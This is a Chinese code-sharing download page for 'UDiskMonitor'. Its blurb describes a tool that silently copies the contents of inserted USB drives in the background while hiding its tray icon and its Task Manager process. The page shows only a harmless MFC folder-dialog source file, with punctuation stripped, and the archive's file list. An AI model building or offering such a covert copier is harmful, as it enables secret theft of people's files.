资源简介
电脑主机插入U盘,后台自动复制U盘内容,任务栏无托盘,且任务管理器无进程,含源码。
代码片段和文件信息
// FolderDialog.cpp: implementation of the CFolderDialog class.
//
//////////////////////////////////////////////////////////////////////
#include “stdafx.h“
#include “FolderDialog.h“
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
static int CALLBACK BrowseDirectoryCallBack(
HWND hWnd UINT uMsg LPARAM lParam LPARAM lpData )
{
CFolderDialog * pFd = (CFolderDialog*) lpData;
pFd->CallBackFun( hWnd uMsg lParam );
return 0;
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CFolderDialog::CFolderDialog( LPCTSTR lpszFolderName
DWORD dwFlags CWnd* pParentWnd
LPCTSTR szCaptionLPCTSTR strtitle)
{
if( lpszFolderName == NULL )
m_szInitFolderName = _T(““);
else
m_szInitFolderName = lpszFolderName;
if(szCaption == NULL)
{
lstrcpy(m_szCaption _T(“Folder“));
}
else
{
lstrcpy(m_szCaption szCaption);
}
memset( &m_bi ‘\0‘ sizeof(BROWSEINFO) );
if( pParentWnd==NULL )
m_bi.hwndOwner=0;
else
m_bi.hwndOwner=pParentWnd->m_hWnd;
m_bi.pidlRoot = NULL;
m_bi.pszDisplayName = m_szDisplayName;
if (strtitle == NULL)
{
m_bi.lpsztitle = _T(“Local“);
}
else
{
m_bi.lpsztitle = strtitle;
}
m_bi.ulFlags = dwFlags|BIF_STATUSTEXT;
m_bi.lpfn = BrowseDirectoryCallBack;
m_bi.lParam = (LPARAM)this;
}
CFolderDialog::~CFolderDialog()
{
}
void CFolderDialog::CallBackFun(HWND hWnd UINT uMsg LPARAM lParam)
{
m_hDialogBox = hWnd;
switch( uMsg )
{
case BFFM_INITIALIZED:
OnInitDialog();
::SetWindowText(m_hDialogBox m_szCaption);
break;
case BFFM_SELCHANGED:
OnSelChanged( (ITEMIDLIST*)lParam );
break;
}
}
void CFolderDialog::OnInitDialog()
{
SetSelection(m_szInitFolderName);
SetStatusText( ShortName(m_szInitFolderName) );
}
void CFolderDialog::OnSelChanged(ITEMIDLIST *pIdl)
{
::SHGetPathFromIDList( pIdl m_szPath );
m_szFinalFolderName = m_szPath;
SetStatusText( ShortName(m_szFinalFolderName) );
}
int CFolderDialog::DoModal()
{
int nReturn = IDOK;
m_szFinalFolderName = m_szInitFolderName;
ITEMIDLIST * piid = NULL;
piid = ::SHBrowseForFolder( &m_bi );
if( piid && ::SHGetPathFromIDList(piidm_szPath) )
{
m_szFinalFolderName = m_szPath;
nReturn = IDOK;
}
else
{
nReturn = IDCANCEL;
}
if( piid )
{
LPMALLOC lpMalloc;
VERIFY( ::SHGetMalloc(&lpMalloc)==NOERROR );
lpMalloc->Free(piid);
lpMalloc->Release();
}
return nReturn;
}
void CFolderDialog::EnableOK(BOOL bEnable)
{
::SendMessage( m_hDialogBox BFFM_ENABLEOK 0 (bEnable?1:0) );
}
void CFolderDialog::SetSelection(LPCTSTR pszSelection)
{
::SendMessage( m_hDialogBox BFFM_SETSELECTION TRUE (LPARAM)pszSelection );
}
void CFolderDialog::SetSelection(ITEMIDLIST *pIdl)
{
::SendMessage( m_hDialogBox BFFM_
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 14145 2007-06-26 15:08 Hyperli
文件 3545 2008-06-12 15:10 Hyperli
文件 236 2008-08-20 19:28 ReadMe.txt
文件 2995 2007-06-26 13:56 RegisterKey.cpp
文件 1126 2008-06-12 15:10 RegisterKey.h
文件 1286 2008-06-12 15:14 Resource.h
文件 214 2007-06-26 08:46 StdAfx.cpp
文件 1419 2008-06-12 15:09 StdAfx.h
文件 1886 2008-06-12 15:19 UDiskMonitor.clw
文件 2704 2007-06-26 17:03 UDiskMonitor.cpp
文件 4938 2008-06-12 15:15 UDiskMonitor.dsp
文件 549 2007-06-26 08:46 UDiskMonitor.dsw
文件 1472 2007-06-26 16:58 UDiskMonitor.h
文件 99328 2008-06-12 15:19 UDiskMonitor.ncb
文件 57856 2008-06-12 15:19 UDiskMonitor.opt
文件 2709 2008-06-12 15:19 UDiskMonitor.plg
文件 6529 2008-06-12 15:14 UDiskMonitor.rc
文件 15482 2008-06-12 15:09 UDiskMonitorDlg.cpp
文件 2566 2007-06-26 16:56 UDiskMonitorDlg.h
文件 3657 2007-04-30 13:29 ValidFunction.cpp
文件 1344 2008-06-12 15:10 ValidFunction.h
文件 6858 2007-06-26 14:27 XPButton.cpp
文件 2405 2008-06-12 15:10 XPButton.h
文件 57344 2008-08-07 13:31 UDiskMonitor.exe
..A.SH. 7168 2007-06-26 15:15 res\Thumbs.db
文件 10134 1998-05-01 20:01 res\UDiskMonitor.ico
文件 404 2007-06-26 08:46 res\UDiskMonitor.rc2
文件 3459 2007-03-02 08:48 FolderDialog.cpp
文件 1390 2004-04-02 10:04 FolderDialog.h
目录 0 2008-07-18 11:56 res
............此处省略5个文件信息
- 上一篇:DFT的C语言编程实验
- 下一篇:AesForC.rar
评论
共有 条评论